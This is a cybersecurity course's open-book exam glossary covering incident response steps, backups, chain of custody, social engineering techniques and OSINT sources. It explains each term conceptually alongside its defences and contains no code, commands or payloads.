What restoration involves: Eradicating all malware, backdoors, attacker-installed tools, rogue user accounts, crontab entries, and modified files from affected systems. Patching the vulnerability that was exploited (so re-exploitation via the same path is impossible). Restoring systems from verified clean backups where available and appropriate. Rebuilding systems that cannot be confidently cleaned (a fully compromised system with root access should typically be rebuilt from scratch, not cleaned in place — you cannot trust anything on it). Resetting all credentials that may have been compromised. Verifying restoration — confirming systems are clean before returning them to production, analogous to the Retesting step in vulnerability management.

Connection: Backups (the next term) are the primary technical enabler of Restore Operations — without tested, current, clean backups, restoration may require complete rebuilding from scratch. The Cleanup obligation in penetration testing ethics (removing all attacker-installed artefacts) mirrors what IR teams do in Restore Operations, but from the defender's perspective. The vulnerability lifecycle closes with Remediate → Retest → Close; IR closes with Restore → Verify → Post-incident Review.

Communication (IR step)

Communication in Incident Response refers to the structured, timely, and accurate information flow both internally (within the organisation) and externally (to regulators, affected parties, law enforcement, and the public) throughout and after an incident. It includes who is notified, when, what they are told, and through what channels.

WHY it matters: Poor communication during an incident can cause as much damage as the incident itself — through regulatory penalties, reputational harm, loss of stakeholder trust, or legal liability from late or inaccurate disclosures. Conversely, clear, coordinated communication limits confusion, prevents rumour, and ensures decision-makers have the information they need to act.

Internal communication: IR team to management (executive escalation when scope or severity crosses defined thresholds), IR team to IT operations (coordination on containment and restoration), IR team to legal and compliance (for regulatory notification decisions), IR team to HR (for insider threat cases).

External communication obligations: GDPR Article 33 requires notification to the supervisory authority (e.g. Datatilsynet in Denmark) within 72 hours of becoming aware of a personal data breach that poses a risk to individuals' rights and freedoms. GDPR Article 34 may additionally require notification to affected data subjects. NIS2 requires essential and important entities to notify the relevant CSIRT or authority within 24 hours (early warning) and 72 hours (incident notification) for significant incidents. Law enforcement notification may be appropriate for criminal activity. Customer and partner communication must balance transparency with legal advice.

Communication hygiene: During an active incident, attacker-accessible communication channels (corporate email, collaboration tools on compromised systems) may be monitored by the attacker. Out-of-band communication (personal phones, separate email accounts, encrypted messaging) is used for sensitive IR coordination.

Connection: The 72-hour GDPR breach notification clock starts from the moment the organisation becomes "aware" of the breach — which in practice means once Verification and initial Scope Assessment confirm a breach involving personal data. NIS2 adds a separate, parallel notification regime. Failure to notify in time is itself a GDPR violation subject to fines up to €10M or 2% of global turnover.

Evidence Chain

The Evidence Chain (also called chain of custody) is the documented, unbroken record of who has had possession of, or access to, a piece of digital evidence from the moment it was collected through every subsequent handling, transfer, storage, analysis, and presentation event. Every person who touches the evidence, every location it has been stored, and every action taken on it must be recorded with timestamps and signatures.

WHY it matters: In legal proceedings, evidence without a verified chain of custody can be challenged, dismissed, or rendered inadmissible. A prosecutor who cannot demonstrate that a disk image has not been tampered with since it was taken from the crime scene cannot use it as evidence. Even in internal investigations or regulatory audits, a broken evidence chain undermines the credibility of findings.

What a chain of custody record contains: Description of the evidence (device type, serial number, hash of the forensic image taken at collection), date and time of collection, name and role of the collector, location of collection, each subsequent transfer (to and from whom, when, why), storage conditions (sealed evidence bags, write-protected storage, access-controlled location), any analysis performed (by whom, when, on which copy), and the current custodian.

Integrity verification: Cryptographic hashes (typically SHA-256 or MD5) of forensic images are computed immediately upon collection. Any subsequent copy or analysis is verified against this original hash. A mismatch proves tampering or corruption.

Connection: Evidence Chain is the procedural framework around the Forensics / Evidence Preservation step. It is also relevant to the Evidence Protection constraint in penetration testing — though pen testers handle evidence of vulnerabilities rather than evidence of crime, the same discipline of controlled, documented handling applies. GDPR requires organisations to be able to demonstrate compliance, which includes maintaining evidence of breach notifications and the decisions made during incident response.

Backups

Backups are copies of data, system configurations, or entire system states stored separately from the primary systems, intended to enable recovery in the event of data loss, corruption,

ransomware, hardware failure, accidental deletion, or any other incident that destroys or corrupts primary data. An effective backup strategy is one of the most critical and foundational controls for Availability.

WHY it matters: Backups are the last line of defence against data loss and the primary enabler of recovery from ransomware — the most common reason backups are discussed in a security context. WannaCry and NotPetya encrypted production data; organisations with tested, offline backups could recover; those without paid ransoms or lost data permanently. Without backups, Restore Operations after a destructive incident may be impossible.

Key backup principles: The 3-2-1 rule: keep at least 3 copies of data, on at least 2 different media types, with at least 1 copy stored off-site (or offline). Offline / air-gapped backups: ransomware that gains access to network-connected backup systems can encrypt them too — offline backups that are not accessible from the production network survive ransomware. Testing backups: a backup that has never been restored is an untested assumption. Regular restore drills verify that backups are complete, uncorrupted, and recoverable within acceptable time. Immutable backups: write-once storage that cannot be modified or deleted even by administrators with full credentials — increasingly standard after ransomware operators began targeting backup systems. Recovery Time Objective (RTO): how quickly systems must be restored. Recovery Point Objective (RPO): how much data loss is acceptable — determines backup frequency.

Backup relevance to forensics: Pre-incident backups may be the only clean reference point against which to compare a compromised system, revealing exactly what was changed. They also represent a known-clean state to restore from, provided the backup predates the compromise.

Connection: Backups directly support Availability in the CIA Triad. They are the technical countermeasure for ransomware (which violates Availability by encrypting data) and for destructive attacks like NotPetya (which destroyed the master boot record). GDPR Article 32 implies backups as part of "appropriate technical measures" for resilience and recovery. NIS2 requires business continuity measures including backup management as part of risk-management obligations. In the Restore Operations step, the existence and quality of backups determines whether recovery is hours or weeks.

CYBERSECURITY COURSE

Complete Definition Word List - Social Engineering Section

Open-book exam reference - use Ctrl+F / Cmd+F to find any term

■ SOCIAL ENGINEERING

This section expands the selected social engineering terms in the same open-book style as the existing definition PDF: broad definition, why it matters, what it is used for, and connections to related concepts, controls, and exam distinctions.

Social Engineering

Social engineering is the manipulation of people, trust, routines, authority, curiosity, fear, or helpfulness to make someone take an action that benefits the attacker. In cybersecurity, that action is usually revealing information, clicking a link, opening a file, approving a payment, installing software, granting physical access, or trusting a fake identity. It is not limited to email; it can be digital, physical, phone-based, in-person, or a mix of several channels.

WHY it matters: Social engineering targets the human attack surface. Many attacks do not require a technical vulnerability if a person can be persuaded to disclose credentials, run malware, reset MFA, open a door, or trust a malicious network. This is why awareness training, verification procedures, least privilege, and reporting channels are security controls, not just HR activities.

Connection: Social engineering often acts as initial access in the attack chain. It connects directly to phishing, spear phishing, whaling, credential harvesting, evil USB, tailgating, impersonation, pretexting, and watering hole attacks. It also connects to CIA: stolen secrets violate confidentiality, unauthorized changes or malware affect integrity, and ransomware or account lockout can affect availability.

Phishing

Phishing is a deceptive communication attack where an attacker pretends to be a trusted person, company, service, or authority in order to make the victim perform an unsafe action. Classic phishing uses email, but the same idea applies through messages, websites, collaboration tools, QR codes, social media, or login prompts. The usual goal is credential theft, malware delivery, payment fraud, or collecting personal information.

Typical signs include urgency, threats, unexpected attachments, unusual sender addresses, display-name spoofing, look-alike domains, shortened URLs, poor context, requests to bypass normal process, or links leading to a fake login page. However, modern phishing can be polished and personalized, so the absence of spelling errors does not prove legitimacy.

Connection: Phishing is the broad category. Spear phishing is targeted phishing; whaling targets senior or high-value individuals; smishing uses SMS; vishing uses voice; credential harvesting is often the outcome. Defences include MFA, password managers, email filtering, SPF/DKIM/DMARC, safe attachment handling, URL inspection, user reporting, and independent verification through a known-good channel.

Spear Phishing

Spear phishing is targeted phishing crafted for a specific person, team, role, or organization. Instead of sending a generic message to many people, the attacker uses reconnaissance such as job titles, public social media, company structure, leaked data, previous emails, projects, suppliers, or internal terminology to make the message feel relevant and believable.

WHY it matters: Personalization increases trust and lowers suspicion. A message referencing a real colleague, course deadline, invoice number, software used by the organization, or recent event is much more convincing than generic spam. Spear phishing is common in APT-style campaigns because it can open the first door into a target organization.

Connection: Spear phishing sits between broad phishing and whaling. It often uses pretext, impersonation, rapport, and OSINT. Defenders should not rely only on user suspicion; they need technical controls, least privilege, segmentation, attachment sandboxing, suspicious-login detection, and clear procedures for verifying unusual requests.

Whaling / CEO Fraud

Whaling is spear phishing against high-value targets such as CEOs, CFOs, executives, administrators, researchers, or anyone with privileged access, authority, payment power, or sensitive information. CEO fraud is a related business email compromise scenario where an attacker impersonates a senior leader to pressure an employee into making a transfer, changing payment details, buying gift cards, sending documents, or bypassing approval steps.

WHY it matters: High-level accounts and authority can produce high impact. A compromised executive account may be trusted by many employees, may have access to confidential data, and may be able to authorize large financial or operational actions. Even when the executive account is not compromised, impersonating authority can make employees ignore normal checks.

Connection: Whaling relies heavily on authority, urgency, confidentiality, and pretext. It is closely related to impersonation and business email compromise. Defences include dual approval for payments, callback verification using known contact details, strict change-of-bank-detail processes, executive MFA, mailbox rule monitoring, and a culture where employees are allowed to challenge unusual requests.

Smishing (SMS Phishing)

Smishing is phishing delivered through SMS or mobile text messages. The attacker may pretend to be a bank, parcel service, tax authority, university, IT support, payment provider, or family member. The message usually contains a link, phone number, payment request, fake delivery fee, fake account alert, or a prompt to install an app.

WHY it matters: Mobile messages feel immediate and personal. Phones also display less URL detail than desktop browsers, making look-alike domains harder to inspect. Victims may respond quickly because SMS is often associated with real alerts, two-factor codes, parcel tracking, and urgent account notifications.

Connection: Smishing can lead to credential harvesting, malware installation, MFA code theft, or vishing if the message asks the victim to call a number. Defences include avoiding links in unsolicited texts, using official apps or manually typed known URLs, never sharing MFA codes, mobile device management in organizations, and reporting suspicious messages.

Vishing (Voice Phishing)

Vishing is phishing by voice call, voicemail, or voice-based messaging. The attacker may impersonate IT support, a bank, police, a supplier, a helpdesk, Microsoft support, HR, or a manager. The goal may be to collect passwords, MFA codes, payment details, personal data, remote access permission, or to guide the victim through installing remote-control software.

WHY it matters: Voice interaction creates pressure and makes verification harder. Attackers can use confidence, urgency, background noise, caller-ID spoofing, and prepared scripts. A live attacker can adapt to the victim's questions, build rapport, and keep the victim from pausing to verify.

Connection: Vishing is often combined with smishing or phishing: a text tells the victim to call, or an email says IT will phone soon. Defences include never sharing passwords or MFA codes, call-back procedures using official numbers, helpdesk identity verification, staff training, and policies that forbid support staff from asking for passwords.

Credential Harvesting

Credential harvesting is the collection of usernames, passwords, MFA codes, session tokens, API keys, recovery codes, or other authentication secrets. It commonly uses fake login pages, phishing forms, malicious OAuth consent screens, keyloggers, reverse proxy phishing kits, infected attachments, or social engineering calls.

WHY it matters: Credentials let attackers look like legitimate users. Once valid credentials are obtained, the attacker may bypass many perimeter controls, access email, reset other accounts, move laterally, steal data, or use the account to phish others. This is especially dangerous when passwords are reused or when MFA is weak or push-based and the user can be tricked into approving access.

Connection: Credential harvesting is an outcome of phishing, spear phishing, smishing, vishing, pharming, fake WiFi portals, and evil-twin networks. It connects to password attacks because harvested credentials can be used in credential stuffing. Defences include MFA resistant to phishing where possible, password managers, unique passwords, detection of impossible travel, session revocation, and user education about fake login prompts.

Baiting

Baiting is a social engineering technique where the attacker offers something tempting to lure the victim into unsafe behavior. The bait can be a free download, fake prize, movie, cracked software, USB drive, gift card, survey reward, QR code, job offer, or access to restricted content. The victim's curiosity or desire for benefit becomes the attack path.

WHY it matters: Baiting bypasses technical caution by making the victim want to interact. The attacker may not need to push hard; the victim voluntarily opens the file, plugs in the device, scans the code, or enters credentials because the bait looks useful or valuable.

Connection: Evil USB is a physical baiting example. Rogue software and Trojan horses also use baiting when malicious software pretends to be useful. Defences include software allowlisting, disabling autorun, USB restrictions, awareness training, safe download policies, and a reporting culture for found devices or suspicious offers.

Evil USB

Evil USB is the use of a malicious USB device to compromise a machine or influence user behavior. The device may be a normal storage drive containing malware, a disguised keyboard that types commands automatically, a device that emulates a network adapter, or a hardware implant. It is often delivered by leaving it in a parking lot, reception area, classroom, conference, or sending it as a fake gift.

WHY it matters: USB combines physical access, trust, curiosity, and technical capability. A victim may plug in the device to identify its owner or access the promised content. Some USB attacks do not rely on opening files because the device can impersonate trusted hardware classes such as keyboard or network devices.

Connection: Evil USB is related to baiting, physical security, malware, HID attacks, and supply-chain risk. Defences include USB port control, device control policies, disabling autorun, endpoint protection, user training, using charging-only adapters, and procedures for handling found media to security instead of plugging it into a workstation.

Waterholing (Watering Hole Attack)

Waterholing is an attack where the attacker compromises or imitates a website that a target group is likely to visit. Instead of contacting the victim directly, the attacker waits at a trusted place - for example an industry site, supplier portal, forum, university resource, or internal-looking service - and uses it to deliver malware, capture credentials, or redirect users to malicious content.

WHY it matters: Trust is borrowed from the legitimate website. A victim may be careful with unknown links but less suspicious when visiting a familiar site. Watering hole attacks can target a specific organization or sector without needing to know every employee's email address.

Connection: Waterholing is related to drive-by downloads, malvertising, website spoofing, credential harvesting, and APT-style targeting. Defences include browser and plugin patching, web filtering, endpoint detection, content security controls, monitoring for suspicious redirects, and verifying high-risk login pages even when reached from familiar sites.

WiFi Spoofing

WiFi spoofing is the creation of a fake wireless network that imitates a legitimate one. The attacker may use a similar SSID, stronger signal, captive portal, or evil-twin access point to trick users into connecting. Once connected, victims may be shown a fake login page, redirected to malicious sites, or exposed to traffic interception depending on encryption and protocol use.

WHY it matters: People often trust familiar network names in airports, campuses, hotels, cafes, conferences, and workplaces. If a device auto-joins a known SSID, the user may not realize they are connected to an attacker-controlled network. The attack can support credential harvesting, MITM, session theft, malware delivery, or reconnaissance.

Connection: WiFi spoofing is a social-engineering-assisted network attack. It connects to MITM, rogue access points, evil twin APs, captive portals, and session hijacking. Defences include VPN on untrusted networks, certificate warnings not being ignored, disabling auto-join, WPA-Enterprise certificate validation, network monitoring for rogue APs, and avoiding sensitive logins on unknown WiFi.

Dumpster Diving

Dumpster diving is searching discarded material for sensitive information. Targets include printed documents, sticky notes, labels, shipping boxes, old ID cards, storage media, hardware, whiteboard photos, handwritten notes, invoices, org charts, network diagrams, access procedures, and partial credentials. Even shredded documents may sometimes be reconstructed if disposal is weak.

WHY it matters: Organizations often leak useful information through waste. Attackers can use small fragments to build a pretext, identify suppliers, learn names and roles, discover technologies, or find data that directly compromises confidentiality. The attack bypasses digital controls because the information has left the system through a physical channel.

Connection: Dumpster diving supports OSINT, pretexting, impersonation, phishing, and physical intrusion. Defences include secure shredding, locked disposal bins, clean desk policies, media destruction, asset disposal procedures, and treating printed information with the same sensitivity as digital information.

Tailgating / Piggybacking

Tailgating, also called piggybacking, is entering a restricted area by following an authorized person through a door, gate, or checkpoint. The attacker may pretend to have forgotten a badge, carry boxes to trigger helpfulness, dress like an employee or contractor, join a group, or exploit politeness so the authorized person holds the door.

WHY it matters: Physical access can bypass many software controls. Once inside, an attacker may access workstations, network ports, meeting rooms, printers, server areas, unattended documents, or plant devices. A physical foothold can support later cyber attacks such as evil USB, hardware implants, credential theft, or WiFi attacks.

Connection: Tailgating targets physical security and human behavior. It connects to impersonation, pretext, rapport, shoulder surfing, and access control. Defences include badge checks, anti-tailgating doors where appropriate, visitor management, security awareness, a culture that supports politely challenging unknown people, and avoiding shared badge entry.

Shoulder Surfing

Shoulder surfing is observing a person or workspace to capture sensitive information. This can include watching someone type a password or PIN, reading a screen, listening to a confidential conversation, seeing a document on a desk, recording keystrokes with a phone, or watching unlock patterns and MFA prompts in public spaces.

WHY it matters: It is low-tech but effective. The attacker may not need malware if the secret is visible or audible. Public transport, cafes, classrooms, airports, open offices, shared desks, and reception areas create opportunities for observation.

Connection: Shoulder surfing is a physical/human attack vector and can support credential harvesting, impersonation, and account takeover. Defences include privacy screens, careful screen positioning, locking devices, clean desk practices, masking PIN entry, avoiding sensitive calls in public, and using MFA that does not reveal reusable secrets.

Impersonation

Impersonation is pretending to be someone or something trusted in order to influence a victim. The attacker may pose as IT support, a manager, a supplier, a courier, a bank, a student, a technician, a police officer, a colleague, or an automated system. Impersonation can happen through email, phone, chat, social media, in person, fake websites, fake badges, caller-ID spoofing, or compromised accounts.

WHY it matters: Security decisions often depend on identity and trust. If the victim accepts the false identity, the attacker may gain information, access, money, approval, or cooperation. Impersonation becomes especially convincing when supported by real names, logos, email threads, signatures, jargon, or details from OSINT and data breaches.

Connection: Impersonation is a core mechanism behind phishing, whaling, vishing, tailgating, and pretexting. Defences include independent verification, strong authentication, signed communications for sensitive workflows, known-good contact channels, visitor procedures, and training staff to verify unusual requests even when they appear to come from authority.

Pretext

A pretext is the invented story, scenario, or reason used to justify the attacker's request. It answers the victim's natural question: why is this person contacting me and why should I act now? Examples include a fake IT upgrade, payroll issue, delivery problem, urgent invoice, audit, account lock, security check, forgotten badge, new starter request, or emergency from a manager.

WHY it matters: A strong pretext makes the unsafe action feel normal and appropriate. Good pretexts match the victim's role, timing, organization, and current context. A finance employee may expect invoices; a helpdesk expects password reset requests; a student may expect exam or deadline messages. The more plausible the story, the less the victim relies on technical indicators.

Connection: Pretexting uses persuasion techniques such as authority, urgency, scarcity, curiosity, reciprocity, liking, social proof, and trustworthiness. It is closely tied to spear phishing, whaling, vishing, and physical entry attacks. Defences include process discipline, verification steps, separation of duties, and rehearsed responses for suspicious requests.

Rapport

Rapport is the creation of trust, familiarity, comfort, or social connection with the target. Attackers may use friendly conversation, shared interests, humor, empathy, flattery, technical jargon, organizational language, repeated contact, or helpfulness to reduce suspicion and make later requests seem reasonable.

WHY it matters: People are more likely to comply with someone they like, trust, or feel they know. Rapport can turn a one-off suspicious request into a relationship where the victim gradually shares more information or performs increasingly risky actions. Long-term social engineering may begin with harmless questions before escalating.

Connection: Rapport supports pretext, impersonation, vishing, on-site visits, and pivoting. Defenders need more than warning lists; they need clear rules for what cannot be shared or approved based solely on friendliness. Verification should be normal, polite, and expected, not treated as distrust.

Pivoting (using victim as stepping stone)

Pivoting in social engineering means using one person, account, relationship, or piece of access as a stepping stone to reach another target. The attacker may first compromise a low-level employee, then use that account to send internal emails, learn internal language, access directories, request information, or approach a higher-value person with more credibility.

WHY it matters: The first victim may not be the final target. A seemingly minor account can become valuable because internal messages are trusted more than external messages. Pivoting also makes attacks harder to detect because later requests may come from real accounts, real phone numbers, or real internal systems.

Connection: Pivoting connects social engineering to lateral movement. It may follow phishing, credential harvesting, or tailgating. Defences include least privilege, conditional access, internal phishing detection, mailbox rule monitoring, unusual-send-pattern alerts, account containment, and teaching users that internal messages can also be compromised.

Explicit Target

An explicit target is a specifically chosen person, role, account, department, or organization selected because the attacker believes it has valuable access or influence. Examples include a CEO, finance officer, system administrator, HR employee, researcher, helpdesk operator, building receptionist, or supplier account manager.

WHY it matters: Explicit targeting usually involves reconnaissance and tailored messaging. The attacker invests effort because successful compromise has high payoff. The attack may reference real events, real colleagues, real documents, or real responsibilities to make the request believable.

Connection: Explicit targeting is common in spear phishing, whaling, vishing, and physical intrusion. Defenders should identify high-risk roles and apply stronger controls: phishing-resistant MFA, approval workflows, payment verification, privileged access management, executive protection, and role-specific awareness training.

Opportunistic Target

An opportunistic target is chosen broadly rather than individually. The attacker sends a message, sets a trap, or creates an opportunity and waits for someone to respond. Examples include mass phishing emails, fake parcel texts, malicious QR codes, rogue WiFi in a public area, fake prize pages, or USB drives left where many people might find them.

WHY it matters: The attacker does not need to know exactly who will fall for the attack. Large numbers compensate for low success rates. Opportunistic attacks are common because they are cheap, scalable, and automated, and one successful victim can still provide credentials, malware execution, or a pivot into an organization.

Connection: Opportunistic targeting is common in generic phishing, smishing, baiting, and credential harvesting campaigns. Defences include broad awareness, email and web filtering, MFA, rapid reporting, blocking known malicious infrastructure, and reducing the value of any single compromised low-privilege account.

Hybrid Approach

A hybrid approach combines explicit and opportunistic targeting. The attacker may create a broad trap but place it where a specific group is likely to encounter it, or they may begin broadly and then focus on victims who respond. A malicious WiFi network near a company office, a watering hole for a specific industry, or a phishing campaign sent to many employees but customized to the organization are examples.

WHY it matters: Hybrid attacks balance scale and relevance. They are more efficient than fully manual attacks but more convincing than generic mass attacks. They can also reveal which users are susceptible, which accounts exist, and which systems respond, allowing the attacker to narrow the next stage.

Connection: Hybrid targeting appears in WiFi spoofing, waterholing, phishing kits, credential harvesting, and conference-based attacks. Defences require both technical monitoring and human reporting because the attack may not look fully targeted at first but still be positioned against a valuable group.

Social Engineering Toolkit (SET)

The Social Engineering Toolkit, usually called SET, is a security testing framework designed to help authorized testers create controlled social engineering assessment scenarios. It can support activities such as simulated phishing, credential-harvesting demonstrations, website cloning for awareness tests, payload delivery simulations, and other exercises used to show how human trust can be abused.

WHY it matters: SET demonstrates that social engineering can be systematized and tool-supported, not just improvised. For defenders, this is useful because it shows what realistic attack paths look like and helps test training, detection, reporting, and incident response. It must only be used with explicit authorization, clear scope, and harm-minimizing rules because it directly interacts with people and trust.

Connection: SET belongs beside tools like Metasploit in the course tool catalog, but its focus is the human attack surface rather than only software vulnerabilities. Exam distinction: a tool does not make an activity ethical; authorization, scope, consent where required, data handling, and responsible reporting define whether it is legitimate security testing.

Pharming

Pharming is redirecting users from a legitimate destination to a malicious one, usually without relying on the user clicking a visibly suspicious link. This can happen through DNS poisoning, compromised routers, malicious hosts-file changes, rogue DHCP or DNS settings, browser malware, or fake WiFi/captive portal manipulation. The victim may type the correct URL but still reach the attacker's site.

WHY it matters: Pharming undermines a user's normal safety habit of typing a known address or using a bookmark. If the malicious site imitates the real one, the attack can harvest credentials, payment details, session tokens, or personal information. It is especially dangerous when users ignore certificate warnings or when the attacker controls local network settings.

Connection: Pharming is related to phishing and website spoofing but differs because the redirection mechanism is technical rather than purely persuasive. It connects to DNS security, router security, TLS certificate validation, WiFi spoofing, and credential harvesting. Defences include secure DNS configuration, DNSSEC where applicable, router hardening, endpoint protection, HTTPS, HSTS, certificate validation, and avoiding certificate-warning bypasses.

Session Hijacking

Session hijacking is taking over an authenticated user's active session instead of learning their password directly. The attacker may steal, predict, fix, or replay a session cookie, bearer token, URL token, or other session identifier. Once the attacker has a valid session token, the application may treat them as already logged in.

WHY it matters: MFA and strong passwords protect login, but a stolen session can bypass the login step. Session tokens are often enough to access email, cloud apps, admin panels, or web services until the session expires or is revoked. Tokens can be stolen through malware, XSS, insecure transport, malicious browser extensions, proxy phishing, exposed logs, or MITM on weak networks.

Connection: Session hijacking connects social engineering to web security and MITM. Phishing may steal tokens through reverse proxy kits; WiFi spoofing can support interception when transport protections fail; shoulder surfing can expose QR login approvals; malware from baiting can steal browser cookies. Defences include HTTPS everywhere, secure and HttpOnly cookies, SameSite controls, short session lifetimes for sensitive apps, token binding where available, re-authentication for risky actions, logout/session revocation, and detection of anomalous session use.

CYBERSECURITY COURSE

OSINT, Persuasion Techniques, and Phishing Technical Definitions

Open-Book Exam Reference - Ctrl+F / Cmd+F searchable

This section expands the selected terms in the same broad definition style used in the course reference: definition, why it matters, what it is used for, and connections to nearby exam concepts.

■ OSINT

OSINT (Open-Source Intelligence)

OSINT is the collection, processing, and analysis of information from publicly available or lawfully accessible sources. In social engineering and phishing, OSINT is the reconnaissance stage: the attacker learns enough about a person, role, company, supplier, project, event, or technology stack to make a later approach believable.

WHY it matters: OSINT often removes the need for a technical exploit. A name, job title, email format, invoice workflow, current project, leaked password pattern, or personal relationship can be enough to craft a convincing pretext. In open-book exam language, OSINT connects the human attack surface to reconnaissance: people, organizations, DNS, websites, social media, public records, breach data, and financial traces all become input for an attack path.

WHAT FOR: Legitimate uses include threat intelligence, fraud investigation, due diligence, security awareness, asset discovery, brand monitoring, and authorized social-engineering assessments. Malicious uses include target selection, phishing personalization, impersonation, extortion, credential attacks, and identifying weak points in a company.

Connection: OSINT is usually passive reconnaissance, but not automatically harmless or ethical. Publicly visible does not mean free to misuse. In a penetration-test context, the scope must say which OSINT sources may be used, whether breach material is allowed, whether contact with targets is allowed, and how sensitive personal findings should be reported.

OSINT Framework

The OSINT Framework is a structured map of OSINT categories and tools. It helps an investigator avoid random searching by grouping sources into areas such as usernames, email addresses, domain names, IP addresses, social networks, public records, company information, geolocation, images, documents, dark web sources, and breach data.

WHY it matters: A framework turns reconnaissance into a repeatable process. Instead of simply googling a target, the analyst asks: What identifiers do I have? A name, username, domain, email address, phone number, wallet address, company registration number, IP address, or document metadata can each lead to different sources.

WHAT FOR: In authorized work, it is used to plan collection, document what was checked, and reduce blind spots. In attack scenarios, the same framework can be abused to build a profile for phishing, spear phishing, whaling, password guessing, or impersonation.

Connection: The OSINT Framework supports pretext building. Personal information can support trust and familiarity; organizational records can support authority and plausibility; DNS records support website and email spoofing analysis; breach material supports credential stuffing and account takeover.

Surface Web

The surface web is the part of the web that is indexed by ordinary search engines and accessible through standard browsers without special access controls. Examples include normal company websites, public social-media pages, news articles, blog posts, public GitHub repositories, job advertisements, and many government registries.

WHY it matters: Most useful OSINT is not hidden. Attackers often get enough information from ordinary search results: names, roles, contact details, partners, technologies, employee photos, office locations, events, and writing style. The exam point is that the surface web can reveal both technical

and human attack vectors.

WHAT FOR: Defenders use surface-web review to find excessive exposure: public documents with metadata, staff lists, exposed login portals, outdated pages, leaked API keys in repositories, and details that make impersonation easier.

Connection: Surface web is usually the first OSINT layer. It is distinct from the deep web, which is not indexed or requires specific access, and from the dark web, which requires special networks or tools.

Deep Web

The deep web is web content not indexed by standard search engines. This includes private databases, authenticated portals, webmail, online banking, internal company systems, paywalled academic databases, dynamically generated pages, cloud dashboards, and search results inside specific sites.

WHY it matters: Deep web does not mean criminal. It mostly means not generally indexed. From a security perspective, deep-web resources often contain sensitive data and require authentication, authorization, or special query access.

WHAT FOR: OSINT analysts may use legitimate deep-web sources such as public registers with search forms, court databases, company registries, or specialized archives. Attackers may target deep-web login pages with phishing, credential stuffing, or password spraying because access can reveal high-value data.

Connection: The deep web is a major boundary between public reconnaissance and protected access. Searching a public register is OSINT; bypassing access controls or using stolen credentials is not OSINT - it is unauthorized access.

Dark Web

The dark web is a subset of internet services intentionally hidden from ordinary browsing and usually accessed through anonymity networks such as Tor. It can include privacy-focused forums, whistleblowing platforms, marketplaces, criminal forums, leak sites, and ransomware extortion pages.

WHY it matters: Dark-web sources may contain breach data, stolen credentials, malware advertisements, fraud services, leaked corporate documents, and threat-actor chatter. However, the dark web is not automatically illegal; the legality depends on the content, jurisdiction, access method, and intended use.

WHAT FOR: Defenders monitor dark-web sources for exposed credentials, company data leaks, ransomware victim posts, and signs that their organization is being targeted. Attackers use it to buy or trade stolen data, phishing kits, malware, fake documents, and access to compromised systems.

Connection: Dark web is connected to data breach material and credential stuffing. In an ethical assessment, dark-web use must be carefully scoped because handling stolen data can create legal, privacy, and evidence-handling problems.

Personal Information Gathering (krak.dk, social media)

Personal information gathering is OSINT focused on individuals: name, address, phone number, employer, job title, relationships, interests, routines, usernames, photos, travel, check-ins, family connections, and social interactions. In Denmark, services such as krak.dk can expose address and contact information; social media can expose both direct posts and information posted by friends, family, colleagues, or employers.

WHY it matters: Social engineering succeeds when the approach feels specific and believable. Knowing that a target works in finance, recently attended a conference, has a child, uses a certain bank, or belongs to a club can make a phishing email, phone call, or physical pretext more convincing.

WHAT FOR: Legitimate uses include awareness training, executive exposure reviews, fraud investigation, and reducing personal data exposure. Malicious uses include spear phishing, vishing, password guessing, stalking, doxxing, account recovery abuse, and impersonation.

Connection: Personal OSINT feeds persuasion techniques: trust and familiarity, liking, social proof, curiosity, fear, urgency, and plausibility. Defensive measures include privacy settings, limiting public personal details, separating personal and work identities, verification procedures, and not relying on personal knowledge as proof of identity.

Organizational Records (CVR register)

Organizational records are public or semi-public records about companies and institutions. In Denmark, the CVR register can reveal company names, registration numbers, addresses, industries, management, ownership relationships, status, and official contact details. Other jurisdictions have similar corporate registries.

WHY it matters: Organizational records give an attacker authoritative details for impersonation. A phishing email can reference a correct legal name, company address, VAT/CVR number, subsidiary, director, supplier relationship, or recent company change to appear legitimate.

WHAT FOR: Defenders and analysts use organizational records for due diligence, supplier verification, fraud detection, and identifying impersonation. Attackers use them to build pretexts for invoice fraud, CEO fraud, procurement scams, and business email compromise.

Connection: Organizational records support authority and plausibility. They also connect OSINT to whaling and CEO fraud because leadership names and corporate relationships can be used to request payments, documents, password resets, or urgent approval.

DNS Records

DNS records are public naming records that map domain names to technical information. Common records include A and AAAA records for IP addresses, MX records for mail servers, NS records for nameservers, TXT records for SPF/DKIM/DMARC and verification data, CNAME aliases, and sometimes SRV records for services.

WHY it matters: DNS is both reconnaissance data and a security-control surface. DNS can reveal hosting providers, mail infrastructure, subdomains, cloud services, third-party vendors, forgotten systems, and email-authentication configuration. A misconfigured DNS record can expose services or weaken anti-phishing controls.

WHAT FOR: In authorized assessment, DNS records are used to build an asset inventory and to check whether email authentication is configured correctly. Attackers use DNS records to choose spoofing techniques, find exposed infrastructure, identify mail providers, and register look-alike domains.

Connection: DNS records connect OSINT to phishing technical controls. SPF, DKIM, and DMARC are published in DNS TXT records. URL anatomy also depends on domain understanding: knowing the registrable domain is essential for detecting fake sites such as company.com.attacker.net.

Data Breach Material

Data breach material is information exposed through previous compromises: usernames, email addresses, password hashes, plaintext passwords, session tokens, API keys, customer records, internal documents, source code, or payment data. It may appear in public paste sites, breach-search services, criminal markets, leak forums, or dark-web dumps.

WHY it matters: Breach data turns OSINT into direct attack capability. Reused passwords support credential stuffing. Email addresses support phishing lists. Old passwords reveal password patterns. Internal documents support credible pretexts. Source code and keys can expose technical vulnerabilities.

WHAT FOR: Defenders use breach monitoring to force password resets, detect exposed credentials, improve MFA coverage, and reduce account takeover risk. Security teams may also use breach information to understand exposure, but handling stolen data requires strict legal and ethical control.

Connection: Data breach material is closely tied to credential stuffing, password spraying, phishing, and correlation risk. In exams, remember the distinction: knowing that breach data exists is OSINT; using stolen credentials to log in is unauthorized access.

Financial OSINT

Financial OSINT is the collection and analysis of publicly available or lawfully accessible financial information. Sources can include company accounts, tax records where public, procurement portals, sanctions lists, fundraising records, payment leaks, court filings, bankruptcy records, invoices found in public documents, and cryptocurrency transaction data.

WHY it matters: Money creates motive and attack paths. Financial OSINT can reveal who approves payments, which suppliers exist, when invoices are due, whether an organization is under stress, and which executives or departments handle financial decisions. That information is highly useful for business email compromise and CEO fraud.

WHAT FOR: Legitimate uses include fraud investigation, due diligence, anti-money-laundering research, supplier risk review, and threat intelligence. Malicious uses include invoice redirection, fake-payment requests, extortion, and selecting victims perceived as able to pay.

Connection: Financial OSINT supports whaling, CEO fraud, authority-based pretexts, and urgency-based scams. Defensive controls include payment verification out-of-band, dual approval, supplier-change controls, employee training, and monitoring for public financial leakage.

